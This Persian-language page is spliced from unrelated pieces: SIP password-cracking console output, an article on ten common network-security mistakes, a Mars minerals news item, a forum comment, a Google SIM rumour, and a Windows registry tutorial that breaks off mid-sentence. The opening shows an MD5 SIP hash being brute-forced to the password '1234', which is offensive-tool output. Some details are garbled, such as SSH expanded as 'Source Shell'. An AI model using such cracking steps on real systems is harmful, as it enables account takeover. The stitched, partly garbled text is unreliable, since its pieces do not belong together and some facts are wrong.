Server Client User Algorithm Hash / Password 1 192.168.123.99 192.168.123.92 201 MD5 dfc9979f98f0c546 c08dc3073dda1cc1 * Select which entry to crack (1 – 1): 1 * Generating static MD5 hash...e71899168871bb8929ff6c25aab955b2 * Starting bruteforce against user ‘201’ (MD5 Hash: ‘dfc9979f98f0c546c08dc3073dda1cc1’) * Loaded wordlist: ‘fifosipcrack’ * Tried 25 passwords in 0 seconds * Found password: ‘1234’ * Updating ‘sip-logins.dump’...done فهرست 4 شكل 3 - نمايي از برنامه Cain & Abel

با بررسي بدترين نقايص امنيتي سازمان‌ها، متوجه مي‌شويد كه مديران شبكه اشتباهات مشابهي را به دفعات مرتكب مي‌شوند؛ در حالي كه به‌سادگي مي‌تواند مانع بروز اين اشتباهات شوند. در سال 2007 مؤسسه Verizon Business، نود نقص امنيتي را تحليل کرد. اين نقايص زمينه‌ساز 285 ميليون تهديد امنيتي بودند. اغلب اين رخدادها شامل جرائم سازماندهي شده بودند كه در جريان آن‌ها ابتدا يك نقطه بدون محافظ در شبكه شناسايي شده و سپس اطلاعات مربوط به كارت‌هاي اعتباري، شماره‌هاي تأمين اجتماعي يا اطلاعات شخصي كاربران شبكه به سرقت رفته است. نكته جالب توجه اين كه نقايص امنيتي مورد بحث حاصل بي‌دقتي مديران شبكه در انجام مراحل ايمن‌سازي سيستم‌ها، به‌ويژه سرورهاي كم‌اهميت بودند. پيتر تيپت، معاون فناوري و نوآوري در مؤسسه Verizon Business مي‌گويد: «ما اصول اوليه را رعايت نمي‌كنيم.» وي از هجده سال قبل وظيفه بررسي نقايص امنيتي را بر عهده دارد. تيپت ما را ياري كرد تا فهرستي از ساده‌ترين اقدامات يك مدير شبكه را به‌منظور جلوگيري از بروز اغلب نقايص امنيتي گردآوري كنيم. 1- عدم تغيير كلمات عبور پيش‌فرض در تمام تجهيزات شبكه تعداد شركت‌هايي كه يك سرور، سوييچ، روتر يا دستگاه ديگري را با كلمه عبور پيش‌فرض (كه معمولاً واژه password يا admin است) درون شبكه به كار مي‌گيرند، خيره كننده است. اغلب مديران اطلاعات تصور مي‌كنند، چنين مشكلي براي آن‌ها پيش نمي‌آيد، اما تيپت هرروز با نمونه‌هايي از اين مشكل مواجه مي‌شود. تيپت معتقد است براي اجتناب از اين مشكل علاوه بر سيستم‌هايي كه به‌طور مستقیم با اينترنت مرتبط هستند يا از اهميت بالايي برخوردارند، بايد تمام تجهيزات شبكه را كه يك آدرس IP اختصاصي دارند، به‌منظور يافتن نقاط آسيب‌پذيري اسكن كنيد. سپس بايد كلمات عبور پيش‌فرض را تغيير دهيد. بر اساس تحقيقات مؤسسه Verizon، بيش از نيمي از حمله‌هاي ثبت شده در سال گذشته، در نتيجه استفاده از كلمات عبور پيش‌فرض در تجهيزات شبكه رخ داده است. 2- استفاده از يك كلمه عبور مشترك براي چندين دستگاه موجود در شبكه به‌طور معمول، كاركنان بخش IT در سازمان‌ها از يك كلمه عبور مشترك براي چندين سرور استفاده مي‌كنند. با وجود اين ممكن است كلمه عبور مورد استفاده تمام خصوصيات لازم و پيچيدگي كافي را داشته باشد، به دليل مشترك بودن كلمه عبور بين چندين سرور، تمام سرورها در معرض خطر قرار مي‌گيرند. به‌عنوان مثال، ممكن است يكي از كارمنداني كه از كلمه عبور آگاهي دارد، پس از استعفا به استخدام شركت ديگري درآيد و همان كلمه عبور را در شركت جديد نيز مورد استفاده قرار دهد. حتي ممكن است يك شركت متفرقه كه وظيفه اداره يكي از سيستم‌هاي كم‌اهميت همچون سيستم خنك‌سازي ديتاسنتر را برعهده دارد،‌ كلمه عبور يكساني را براي تمام سرورهاي تحت اداره خود كه متعلق به مؤسسات مختلف هستند، مورد استفاده قرار دهد. در هر دو مورد، چنان‌چه كلمه عبور توسط يك مهاجم كشف شود، وي مي‌تواند به تعداد بيشتري از سرورها نفوذ كرده و خسارت‌هاي زيادي را وارد كند. تيپت مي‌گويد بخش IT مؤسسات براي اطمينان از عدم اشتراك كلمه عبور بين چندين سيستم، تغيير دوره‌اي كلمات عبور و ايمن‌سازي آن‌ها به يك فرآيند (خودكار يا دستي) نياز دارند. اين فرآيند به سادگي درج كلمات عبور روي كارت‌ها و قرار دادن آن‌ها درون يك صندوق امن است كه توسط شخصي از آن محافظت مي‌شود. 3- كوتاهي در يافتن خطاهاي كدنويسي SQL متداول‌ترين نوع حمله‌ها (كه هفتاد درصد از حمله‌هاي گزارش‌شده را به خود اختصاص داده است)، روي يك بانك اطلاعاتي SQL متصل به وب‌سرور اجرا مي‌شود. شيوه مهاجم براي ورود به سيستم، وارد كردن يك دستور SQL به يك فرم تحت‌وب است. اگر فرم مورد بحث به درستي كدگذاري شود، نبايد دستورات SQL را قبول كند. اما گاهي توسعه‌دهندگان به‌طور تصادفي مفهومي موسوم به «خطاي تزريقي SQL» را ايجاد مي‌كنند. به گفته تيپت ساده‌ترين روش اجتناب از بروز چنين خطاهايي، استفاده از ديوار آتش برنامه‌ها در حالت learn است. ديوار آتش در اين حالت مي‌تواند نحوه وارد كردن اطلاعات كاربران به فيلد ورودي را ارزيابي كند. سپس بايد ديوار آتش را در وضعيت Operate قرار دهيد تا از تزريق دستورات SQL به فيلد ورودي، جلوگيري شود. مشكل كدنويسي SQL بسيار شايع است. تيپت در اين مورد مي‌گويد: «اگر 100 عدد از سرورهاي يك شركت را آزمايش كنيد، احتمالاً در 90 دستگاه به مشكل تزريق كد SQL برخورد مي‌كنيد.» به‌طور معمول، مؤسسات مشكل تزريق كد SQL را تنها در سرورهاي مهم رفع مي‌كنند. در حالي كه اغلب مهاجمان با استفاده از سرورهاي كم‌اهميت وارد شبكه مي‌شوند. تيپت پيشنهاد مي كند مديران شبكه با استفاده از فهرست‌هاي كنترل دسترسي، شبكه را تقسيم‌بندي كنند تا از ارتباط سرورها با تجهيزات متفرقه جلوگيري شود. اين رويكرد مانع دسترسي وسيع مهاجمان به اطلاعات از طريق خطاهاي كدنويسي SQL مي‌شود. 4- پيكربندي نامناسب فهرست‌هاي دسترسي تقسيم‌بندي شبكه با استفاده از فهرست‌هاي كنترل، ساده‌ترين روش حصول اطمينان از محدود بودن ارتباط سيستم‌هاي شبكه با يكديگر است. به‌عنوان مثال، اگر مجوز دسترسي به دو سرور شبكه از طريق VPN را براي شركاي تجاري خود صادر كنيد، با استفاده از فهرست‌هاي دسترسي مي‌توانيد ترتيبي دهيد تا شركاي تجاري شما فقط به اين دو سرور دسترسي داشته باشند. به اين ترتيب، چنان‌چه يك مهاجم با استفاده از نقطه‌ضعف سيستم‌هاي شركت همكار به شبكه شما نفوذ كند، فقط مي‌تواند اطلاعات موجود روي سرورهاي اخير را مورد دسترسي قرار دهد.تيپت مي‌گويد: «معمولاً مهاجمان از طريق VPN وارد شبكه مي‌شوند تا بتوانند تمام تجهيزات را مورد دسترسي قرار دهند.» استفاده از فهرست‌هاي كنترل با پيكربندي مناسب از بروز 66 درصد حمله‌هاي ثبت شده در سال گذشته جلوگيري مي‌كند. يكي از دلايلي كه مديران IT اين اقدام ساده را انجام نمي‌دهند، الزام استفاده از روترها به عنوان ديوار آتش است. اغلب مديران شبكه تمايلي براي انجام اين کار ندارند. 5- صدور مجوز دسترسي راه‌دور ناامن و نرم‌افزار مديريت يكي از محبوب‌ترين روش‌هاي مهاجمان براي نفوذ به شبكه استفاده از دسترسي راه‌دور و بسته‌هاي نرم‌افزاري مديريتي همچون PCAnywhere،بVNC (سرنام Virtual Network Computing) يا SSH(سرنام Source Shell ) است. معمولاً اين نوع برنامه‌ها فاقد اصلي‌ترين ويژگي‌هاي امنيتي مثل كلمه عبور مناسب هستند. ساده‌ترين شيوه يافتن اين مشكلات، اسكن كردن تمام فضاي IP با استفاده از يك ابزار خارجي به‌منظور تشخيص ترافيك PCAnywhere، VNC يا SSH است. پس از يافتن اين برنامه‌ها علاوه بر كلمات عبور، ويژگي‌هاي امنيتي اضافي مانند توكن‌ها يا مجوزهاي دسترسي را روي آن‌ها اعمال كنيد. به عنوان شيوه جايگزين مي‌توانيد داده‌هاي Netflow مربوط به روترهاي مرتبط با محيط خارج را اسكن كرده و از وجود ترافيك دسترسي راه‌دور در شبكه مطلع شويد.اين مشكل به حدي متداول است كه 27 درصد از آمار حمله‌هاي ثبت شده در گزارش مؤسسه Verizon Business را به خود اختصاص داده است. 6- عدم بررسي برنامه‌هاي كم‌اهميت به‌منظور شناسايي نقاط آسيب‌پذيري بر اساس گزارش مذکور نزديك به هشتاد درصد حمله‌هاي مهاجمان در نتيجه وجود نواقص امنيتي در برنامه‌هاي كاربردي وب به وقوع مي‌پيوندد. مديران شبكه از اين نكته آگاهند كه بيشترين نقاط آسيب‌پذيري در برنامه‌هاي كاربردي وب وجود دارند، به همين دليل، فعاليت خود را روي سيستم‌هاي با اهميت و مرتبط با اينترنت متمركز مي‌كنند. مشكل كار در اينجا است كه اغلب حمله‌ها به واسطه وجود اشكالات امنيتي در سيستم‌هاي كم‌اهميت شبكه، اجرا مي‌شوند. تپيت در اين مورد مي‌گويد: «مشكل اصلي اين است كه ما برنامه‌هاي مهم وب را با وسواس كامل آزمايش و بررسي مي‌كنيم، اما ساير برنامه‌ها را بدون بررسي باقي مي‌گذاريم.» وي توصيه مي‌كند، مديران شبكه تمام برنامه‌هاي مورد استفاده خود را به‌منظور يافتن نقاط آسيب‌پذيري اساسي بررسي كنند. تيپت مي‌گويد: «همواره به مردم آموخته مي‌شود كه وظايف را بر اساس اهميت آن‌ها انجام دهند، اما تبهكاران از ميزان اهميت سيستم‌ها اطلاعي ندارند. آنان براي رسيدن به اهداف خود از ساده‌ترين اقدامات شروع مي‌كنند. اين افراد پس از ورود به شبكه مي‌توانند پايگاهي براي فعاليت‌هاي خود ايجاد كرده و بر ترافيك شبكه نظارت كنند.» 7- محافظت نکردن از سرورها در مقابل بدافزارها به گفته Verizon وجود بدافزارها روي سرورهاي شبكه زمينه‌ساز 38 درصد حمله‌ها است. اغلب بدافزارها توسط يك مهاجم از راه ‌دور نصب مي‌شوند و براي گردآوري اطلاعات به‌كار مي‌روند. معمولاً بدافزارها به گونه‌اي طراحي مي‌شوند كه توسط نرم‌افزارهاي ضدويروس شناسايي نشوند. يكي از روش‌هاي شناسايي بدافزارهايي همچون Keylogger يا نرم‌افزارهاي جاسوسي موجود روي سرورها، فعال‌سازي نرم‌افزار تشخيص تهاجم در تمام سرورهاي شبكه است. اين سيستم به‌صورت ميزبان محور عمل مي‌كند. تيپت شيوه ساده‌اي را براي اجتناب از بروز بسياري از حمله‌ها پيشنهاد مي‌كند. در اين شيوه تمام سرورها قفل مي‌شوند تا اجراي برنامه‌هاي جديد روي آن‌ها غيرممكن شود. تيپت مي‌گويد: «مديران شبكه از انجام اين كار نفرت دارند، زيرا پس از مدتي نصب نرم‌افزارهاي جديد ضرورت مي‌يابد. در چنين مواردي مي‌توان سرور را از حالت قفل شده خارج كرد و پس از نصب نرم‌افزار موردنظر دوباره آن را قفل كرد.» 8- پيكربندي نامناسب روترها براي مسدود كردن ترافيك خروجي ناخواسته يكي از انواع رايج بدافزارها، در سرور ميزبان يك رابط صدور فرمان يا راه مخفي (Backdoor) ايجاد مي‌كند. يكي از روش‌هاي مقابله با مهاجمان در استفاده از اين رابط يا راه‌مخفي، تقسيم بندي شبكه توسط فهرست‌هاي كنترل است. به اين ترتيب، مي‌توانيد از ارسال اطلاعات ناخواسته توسط سرورها جلوگيري كنيد. به‌عنوان مثال، يك سرور ایمیل تنها بايد ترافيك مربوط به نامه‌ها را ارسال كند، بنابراين بايد از ارسال ترافيك SSH توسط اين سرور جلوگيري شود. گزينه ديگر استفاده از روترها براي *****ينگ ترافيك خروجي به شيوه Deny Egress است. اين كار تمام ترافيك خروجي را به غير از ترافيك خروجي موردنظر مدير شبكه، مسدود مي‌كند. تيپت مي‌گويد: «تنها دو درصد شركت‌ها اين كار را انجام مي‌دهند. سؤال اين است كه چرا 98 درصد باقي‌مانده اين كار را نمي‌كنند؟ *****ينگ ترافيك خروجي به شيوه Default deny egress معمولاً كم‌اهميت پنداشته مي‌شود.» 9- عدم اطلاع از محل ذخيره اطلاعات كارت اعتباري يا ساير اطلاعات با اهميت كاربران بسياري از شركت‌ها تصور مي‌كنند از محل ذخيره‌سازي اطلاعات مهم مانند اطلاعات كارت اعتباري، شماره تأمين اجتماعي يا اطلاعات مربوط به هويت افراد اطلاع دارند و سرورهاي حاوي اين اطلاعات را از بالاترين سطوح تدابير امنيتي حفاظت مي‌كنند. اما به‌طور معمول اين اطلاعات علاوه بر سرورهاي مربوط در محل‌هاي ديگري از شبكه مانند سايت پشتيبان يا بخش توسعه نرم‌افزار نيز ذخيره مي‌شوند.به‌طور معمول همين سرورهاي كم‌اهميت ثانوي هستند كه مورد تهاجم قرار گرفته و به از دست رفتن اطلاعات مهم منجر مي‌شوند. يكي از روش‌هاي ساده براي يافتن محل ذخيره اطلاعات مهم، بازرسي تمام محل‌هاي ذخيره‌سازي در شبكه است. تيپت مي‌گويد: «ما معمولاً با استفاده از يك برنامه ردياب (Sniffer) شبكه را بررسي كرده و محل‌هايي را كه بايد اطلاعات مهم در آن ذخيره شود، شناسايي مي‌كنيم. سپس ساير موقعيت‌هايي را كه اطلاعات موردبحث در آن‌ها ذخيره مي‌شود، بررسي مي‌كنيم.» 10- عدم رعايت استانداردهاي PCIDS تيپت مي‌گويد: «استانداردهاي‌مصوب PCIDS سرنام(Payment Card Industry Data Security) مجموعه‌اي از دوازده دستورالعمل هستند كه از اطلاعات كارت‌هاي پرداخت حفاظت مي‌كنند. اغلب افراد حتي براي تأمين معيار استانداردهاي PCI تلاش نمي‌كنند.» گاهي شركت‌ها براي تأمين امنيت سرورهاي حاوي اطلاعات مهم از اين دستورالعمل‌ها پيروي مي‌كنند، اما امنيت ساير سرورهاي كم‌اهميت را كه به‌گونه‌اي با اين اطلاعات سروكار دارند، به‌اين شيوه برقرار نمي‌كنند. بر اساس گزارش مؤسسه Verizon Business، با وجود اين كه 98 درصد از تمام حمله‌هاي ثبت‌شده با اطلاعات كارت‌هاي پرداخت مرتبط هستند، تنها نوزده درصد از سازمان‌هاي داراي مشكل امنيتي از استانداردهاي PCI پيروي كرده‌اند. تيپت مي‌گويد: «موضوع كاملاً واضح است. از قوانين PCI پيروي كنيد. اين قوانين به خوبي كار مي‌كنند.»

دانشمندان ناسا دو گودال کوچک را در سطح مریخ شناسایی کردند که غنی از کانیهایی است که با آب ترکیب شده اند و می توانسته اند میزبان حیات باشند. به گزارش خبرگزاری مهر، محققان موسسه علوم سیاره توکسان در آریزونا در تحقیقاتی که با بودجه ناسا انجام شده است دو گودال کوچک را در سطح سیاره سرخ یافته اند که غنی از کانیهایی است که با آب مخلوط شده اند که نشان می دهند در زمانهای نسبتاً اخیر تاریخ این سیاره می توانسته اند میزبان حیات باشند. این سیاره شناسان در این خصوص توضیح دادند: "ما دو منطقه را در هزارتوی شب (Noctis Labyrinthus) کشف کردیم که انواع مختلفی از کانیهایی را نشان می دهند که باید در اثر فعالیت آب تشکیل شده باشند. کانیهایی که پیدا کردیم و اسمکتیت های آهن و منیزیم نام دارند بسیار جوانتر از سایر سنگهای Noctis Labyrinthus و سایر نقاط مریخ هستند. این بدان معنی است که در دوران اخیر در این دو گودال آب وجود داشته است." اسمکتیت ها نوع ویژه ای از کانیهای رسی هستند که به سرعت گسترده می شوند و زمانی که آب جذب می کنند سفت می شوند. این سنگها علاوه بر آلومینوم، آهن و منیزیم در ساختار خود محتوی سیلیس هم هستند. این دانشمندان سولفاتها و اسمکتیتهای پیدا شده در گودالهای هزارتوی شب را در سایر نقاط مریخ نیز کشف کردند اما تکامل این کانیها در طول زمان از سولفاتها تا اسمکتیتها در این دو منطقه به خصوص، یک نظم وارونه را نسبت به سایر نقاط مریخ نشان می دهد. براساس گزارش دیسکاوری نیوز، این کانیها در حدود 2 تا 3 میلیارد سال قبل در حضور آب شکل گرفته اند و نوع شکل گیری آنها نشان می دهد که آب در این منطقه به مدت طولانی وجود داشته است. درحالی که در سایر نقاط سیاره سرخ، اسمکتیتها در حدود 3.6 میلیارد سال قبل ساخته شده اند. به همین علت، دانشمندان این فرضیه را مطرح کردند که در طول تاریخ اخیر مریخ شرایط مطلوب برای حیات وجود داشته است. هزارتوی شب یا Noctis Labyrinthus منطقه ای در مریخ است که از غرب به دره های Valles Marineris، از شمال به منطقه Syria Planum و از شرق به کوههای Pavonis Mons می رسد.

مخالفم درسته که این عزیزان رفتن و جان خودشون رو از دست دادن اما این دلیل نمیشه که فرزندانشون بخوان حقی رو از کسی ضایع کنند. اینقدر به فرزندان شهید بها داده میشه و کمک میشن از همه لحاظ؛ که اگه با اون همه امتیاز نتونن به حق ، بر روی صندلی دانشگاه ها بشینن نشان از ضعف اونهاست .

مواظب سیم کارت های تقبلی گوگل در بازار باشید. طی هفته گذشته خبری در اینترنت منتشر شد مبنی بر آنکه، گوگل قصد دارد با ارائه سیم کارت های اختصاصی خود هر چه بیشتر سرویس هایش را گسترش دهد. طی این خبر، در ابتدای امر علاقه مندان در برخی شهرهای مشخص شده می توانند نسبت به خرید سیم کارت های گوگل اقدام نمایند. تصویری که در ادامه مشاهده می نمایید، یک سیم کارت گوگل است که هم اکنون برای فروش در کشور اسپانیا توزیع شده است، همچنین این سیم کارت در موبایل های Google Nexus S نیز مورد آزمایش قرار گرفته اند. در تصویر دوم، نام سرویس دهنده خط موبایل مشاهده می شود که عبارت “Google_ES” است. به گزارش وین بتا، هرچند که این خبر بعدها تکذیب شده است، اما دور از انتظار نیست در آینده ای نزدیک گوگل خود اقدام به راه اندازی یک اپراتور موبایل نمایید و یا آنکه با یک شرکت معتبر در این زمینه شروع به همکاری کند.

تهیه نسخه پشتیبان زمانی ویرایش رجیستری ضروري است که شما از هر نوع اضافه‌کردن، پاک‌کردن یا تغییری مطمئن باشید. اگر از انجام کار خود مطمئن نیستید، همه چیز را دوباره بررسی کنید و اگر شک دارید درگیر ماجرا نشوید. ویرایش رجیستری کار مخاطره‌آمیزی است و به‌راحتی می‌توان با یک قدم اشتباه یک کامپیوتر بدون مشکل را به یک سیستم غیر قابل استفاده تبدیل کرد. قبل از این‌که تغییرات مورد نظر خود را اعمال کنید، تهیه نسخه پشتیبان از یک بخش یا همه رجیستری به‌شدت توصیه می‌شود. این کار به چند روش امکان‌پذير است. گزینه اول، تهیه نسخه پشتیبان از یک کلید فرعی و محافظت از داده موجود در آن است. در بخش سمت چپ روی یک کلید فرعی (یا یک شاخه کامل) راست‌کلیک کرده و از منوی ظاهرشده گزینه Export را انتخاب کنید. سپس نام مناسبی برای نسخه پشتیبان انتخاب کنید و مطمئن شوید که از منوی save as type گزینه( Registration Files (*.reg انتخاب شده باشد و سپس روی OK کلیک کنید. با این کار فایل پشتیبان ذخیره می‌شود. اگر گزینه All را نیز تیک بزنید، از کل کندوی انتخاب‌شده پشتیبان گرفته می‌شود، بنابراین چنین پشتیبانی برای بازگردانی کلی یک سیستم قابل استفاده نیست. ما برای یک پشتیبان کامل ابزار Erunt را پیشنهاد می‌کنیم (که در ادامه توضیح داده شده‌است). در صورت نیاز، می‌توانید با راست‌کلیک روی فایل reg. ایجادشده در مرحله قبل و انتخاب گزینه Merge پشتیبان ساخته‌شده را بازگردانی کنید. قبل از استفاده از این روش به‌عنوان روش اصلی پشتیبان‌گیری از رجیستری باید در نظر داشته باشید که وقتی فایل‌های reg. دوباره در رجیستری ادغام می‌شوند، لزوماً تمام تغییرات اعمال‌شده در یک کلید را بازگردانی نمی‌کنند. با این کار، هر داده‌ای که پاک شده باشد به حالت قبلی باز می‌گردد، اما کلید‌هایی که در این مدت اضافه شده‌اند، با این بازگردانی پاک نمی‌شوند. به همین دليل شاید بهتر باشد که از کندوها به‌صورت کامل و مخصوص پشتیبان بگیریم. برای این کار، روی یک کلید راست‌کلیک کرده و گزینه Export را انتخاب کنید. این بار مطمئن شوید که از منوی save as type گزینه Registry Hive Files (*.*) انتخاب شده باشد. در این صورت فایلی که ایجاد خواهد شد پسوندی نخواهد داشت، اما می‌تواند در رجیستری ایمپورت شود تا همه تغییرات بازگردانی شود. برخلاف فایل‌های reg. که با رجیستری ادغام می‌شوند، کندوها باید از طریق خود ویرایشگر رجیستری ایمپورت شوند. برای این کار کافی است از منوی File گزینه Import و از منوی کشویی گزینه Registry Hive Files (*.*) را انتخاب کنید، سپس فایل مورد نظر را که قبلاً ایجاد کرده‌اید انتخاب و روی Open کلیک کنید. برای تأیید این کار روی Yes و با پایان کار روی OK کلیک کنید. پشتیبان گرفتن از کندوها مطمئن‌ترین راه برای تهیه پشتیبان از بخش‌های رجیستری است، زیرا وقتی فایل به‌دست آمده را ایمپورت می‌کنیم تمام تغییرات اعمال‌شده بازگردانی می‌شوند. اطلاعات بیشتر درباره ایجاد و بازگردانی نسخه پشتیبان در سایت مایکروسافت در آدرس www.tinyurl.com/bpov موجود است. در هر حال، فایل‌های reg. کاملاً هم بی‌فایده نیستند. به عنوان مثال، اگر بیش از یک کامپیوتر با ویندوز ویستا دارید، می‌توانید تغییرات را در یک سیستم اعمال و کلیدهای مورد نظر را اکسپورت کنید و سپس فایل reg. را در سیستم‌های دیگر کپی کنید. اطلاعاتی که در فایل مذکور ذخیره شده می‌تواند در رجیستری کامپیوتر دوم ایمپورت و تغییرات ذخیره‌شده اعمال شود.‌ شما فقط وقتی می‌توانید از این روش استفاده کنید که کلیدهای مربوط به آن در رابطه مستقیم با خود ویندوز باشند، چنان‌که ممکن است سخت‌افزار یا نرم‌افزار نصب‌شده روی سیستم دوم با اولی متفاوت باشد و تغییرات نامربوط می‌تواند مشکل‌ساز شود. یک راه بسیار آسان‌تر برای تهیه و بازیابی نسخه پشتیبان استفاده از ابزار رایگان Erunt است(به آدرس www.larshederer.homepage.t-online.de/ernut مراجعه كنيد). این ابزار کارآمد می‌تواند یک پشتیبان کامل از کل رجیستری در فولدر مورد نظر شما ذخیره‌کند و همچنین می‌توانید آن را طوری تنظیم کنید که هر بار ویندوز بالا می‌آید به‌طور خودکار پشتیبان بگیرد. همچنین یک راهنمای بسیار مفید درباره نحوه پشیبان‌گیری و بازیابی آن همراه Erunt عرضه می‌شود. راه‌یابی زمانی که در حال گشت‌زني در رجیستری هستید، گاهی ممکن است نقطه‌ای که در آن قرار دارید گم کنید، زیرا ممکن است هاي‌‌لایتی که مشخص می‌کند کدام کلید فعال است، از دید خارج شود. اما در این وضعیت Status Bar به‌کمک شما می‌آید. رجیستری نیز مانند ویندوز اکسپلورر یک پانل کوچک اطلاعات در پایین پنجره دارد که آدرس کلیدی را که انتخاب شده نشان می‌دهد. اگر این نوار را نمی‌بینید، مطمئن شوید که گزینه Status Bar در منوی View تیک خورده است. برای پاک کردن یک کلید می‌توانید روی آن راست‌کلیک کرده و گزینه Delete را انتخاب کنید. تغییر نام نیز به همین ترتیب امکان‌پذیر است. برای ویرایش داده مرتبط با یک کلید خاص، روی آن دوبار کلیک کنید و بعد از اعمال تغییر مورد نظر، روی OK کلیک کنید. اگر نیاز دارید که یک کلید جدید ایجاد کنید، ابتدا به کلید اصلی بروید، سپس از منوی Edit و New نوع مورد نظر را انتخاب و نام آن را وارد کنید. حالا می‌توانید مقدار مورد نظر را با دوبار کلیک روی آن نسبت دهید. تغییرات پیشرفته تا اینجا به ذکر مقدمه‌ای برای کار با رجیستری پرداختیم، اما ترفندهای مستقل زیادی برای اعمال در رجیستری وجود دارد. برای شروع به مسیرHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run و همچنین مسیر: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run برويد. در اینجا فهرستی از برنامه‌هایی را که ‌هنگام بالا آمدن ویندوز به‌طور خودکار اجرا می‌شوند، پیدا خواهید کرد، کافی است برنامه‌هایی را که نیاز ندارید در ابتدای کار ویندوز اجرا شود، از این فهرست پاک کنید.این تغییر، کم‌خطر است، اما همان‌طور که قبلاً هم ذکر شد بهتر است قبل از انجام آن از رجیستری پشتیبان تهیه کنید. چنان‌که ممکن است به‌عنوان مثال، یکی از این برنامه‌ها برای عملکرد درست پرینتر شما مورد نیاز باشد. در حقیقت، تغییرات و سفارشی‌سازی‌هایی که از طریق ویرایش رجیستری قابل انجام هستند، نامحدودند. اخطار آخر این که سعی نکنید از روی بخت و اقبال تغییرات پیش‌بینی نشده‌ای در رجیستریاعمال کنید. دسترسی و گشت‌زنی آسان در رجیستری قدم اول دسترسی به رجیستری از طریق فرمان Run امکان‌پذیر است، اما ممکن است تغییرات مداوم به ویرایشگر رجیستری نیازمند ایجاد یک ميان‌‌بر(Shortcut) باشد. کافی است یک ميان‌بر برای regedit.exe ایجاد کنید و برای دسترسی راحت آن را درQuick Lunch یا منوی Start قرار دهید. قدم دوم استفاده از امکان جست‌و‌جوی ویرایشگر رجیستری می‌تواند تمرکز روی موارد مرتبط با یک فایل یا برنامه خاص را راحت‌تر سازد. کافی است از منوی Edit گزینه Find را انتخاب کنید و با فشردن Enter به اولین نمونه کلمه بروید و با فشردن F3 نمونه‌های بعدی را مشاهده کنید. قدم سوم شما می‌توانید مواردی را که در رجیستری زیاد از آن‌ها استفاده می‌کنید، در منوی Favorites قرار دهید تا به آن‌ها دسترسی سریع داشته باشید. برای این کار، ابتدا کلید مورد نظر را انتخاب کرده، سپس از منوی Favorites گزینه Add to Favorites را انتخاب و پس از آن نام مناسبی برای آن انتخاب کنید.‌ شما می‌توانید برای دسترسی سریع و آسان به این گزینه‌ها، از منوی Favorites مانند همین منو در مرورگر وب خود استفاده کنید. ترفند کپی و انتقال سریع و آسان فایل‌ها حتماً تا به‌حال بارها پیش آمده که بعد از مدتی هارد شما پر از فایل‌ها و فولدرهای به هم ریخته و مختلف شده باشد و هر چند وقت یک‌بار تصمیم می‌گیرید، هارد خود را مرتب کنید. در این هنگام بارها پیش می‌آید که فولدرها و فایل‌های مختلف را کپی کنید یا انتقال دهید. با انجام این ترفند، گزینه Copy To و Move To به منوی Context ویندوز اکسپلورر اضافه می‌شود.در نتیجه، وقتی روی یک فایل یا فولدر راست‌کلیک کنید و گزینه Copy To را انتخاب کنید، یک جعبه محاوره‌ای باز می‌شود و از شما فولدر مقصد را برای کپی فایل می‌پرسد. برای انجام این کار در ویرایشگر رجیستری به این مسیر بروید: HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers. سپس یک کلید جدید با نام Copy To ایجاد کنید. در بخش سمت راست روی مقدار موجود با نام Default دوبار کلیک کنید و برای داده آن این عبارت را وارد کنید: {C2FBB630-2971-11d1-A18C-00C04FD75D13}. با این کار بلافاصله (بدون نیاز به راه‌اندازی دوباره ویندوز) گزینه مذکور به منوی Context اضافه می‌شود. در ضمن، برای اضافه کردن گزینه Move To نیز باید مراحل بالا را تکرار کنید، فقط در بخش داده مقدار مربوطه، به‌جای C2FBB630، تایپ کنید: C2FBB631. عبارت کامل این داده چنین است:{C2FBB631-2971-11d1-A18C-00C04FD75D13}. افزایش تعداد دانلودهای همزمان آیا تا به‌حال سعی کرده‌اید بیش از یک فایل را به‌طور همزمان از اینترنت دانلود کنید؟ تعداد پیش‌فرض دانلودهای همزمان از یک وب‌سرور فقط دو عدد است. با دستکاری رجیستری می‌توانید این رقم را به ده برسانید. برای این کار در ویرایشگر رجیستری ابتدا به کلید زیر بروید: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settingsسپس یک مقدار DWORD به‌نام MaxConnectionsPerServer ایجاد کنید و مقدار داده 000000a را در آن وارد کنید. حالا یک مقدار DWORD دیگر با نام MaxConnectionsPer1_0Server و مقدار داده 0000000a ایجاد کنید. توجه داشته باشید که 0000000a برابر است با عدد 10.غیرفعال کردن کنترل پانلبا استفاده از این ترفند می‌توانید کنترل پانل ویندوز را غیرفعال کنید تا کاربران دیگر نتوانند تغییراتی در قسمت‌های مختلف کنترل پانل ایجاد کنند. برای این کار ابتدا در ویرایشگر رجیستری ابتدا به کلید زیر بروید: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorerسپس یک مقدار DWORD جدید ایجاد کنید و نام آن را بگذارید NoControlPanel و مقدار داده آن را روی 1 تنظیم کنید. با این کار کاربر مربوطه امکان ورود به کنترل پانل را نخواهد داشت.

منبع: پرسنال کامپیوتر ورلد ترجمه: احمدرضا فرزان جم بسیاری از کاربران از ویرایش رجیستری ویندوز هراس دارند، اما این کار با درک اصول اولیه بسیار آسان خواهد بود. رجیستری ویندوز چیزی است که تعداد قابل توجهی از افراد کاملاً از وجود آن بی‌خبرند یا از دستکاری آن اجتناب می‌کنند و این موضوع دلیل قانع‌کننده‌ای نیز دارد. زمانی که ویندوز به‌خوبی کار می‌کند رجیستری به دستکاری نیازی ندارد و این محدوده جایی نیست که کاربران مبتدي وارد آن شوند. اما در مواقعی رفتار نادرست ویندوز ویرایش دستی رجیستری را اجتناب‌ناپذیر می‌سازد. این مقاله از نوع «بازگشت به اصول» است و بیشتر مناسب کاربرانی است که به‌تازگی کار جدی با ویندوز را شروع کرده‌اند (یا کاربران باتجربه‌ای که به مرور اطلاعات خود در این زمینه نیاز دارند). این مقاله «آنچه باید بدانید» را درباره یکی از اجزای اصلی ویندوز توضیح می‌دهد. رجیستری چیست؟ چنان‌که الان می‌دانیم، رجیستری برای اولین بار در زمان ویندوز 95 معرفی شد. قبل از آن زمان، آن‌ها که حافظه طولانی‌ای دارند به‌احتمال فایل‌هاي INI را که توسط ویندوز 3.1x استفاده می‌شد (مانند Win.ini و System.ini)، به‌یاد می‌آورند. اين فایل‌ها براي ذخیره برنامه و اطلاعات پیکربندی درایورها استفاده می‌شد. علاوه بر این، توسعه‌دهندگان مختلف نیز از فایل‌های INI خود برای پیکربندی برنامه‌های خود استفاده می‌کنند و این موضوع 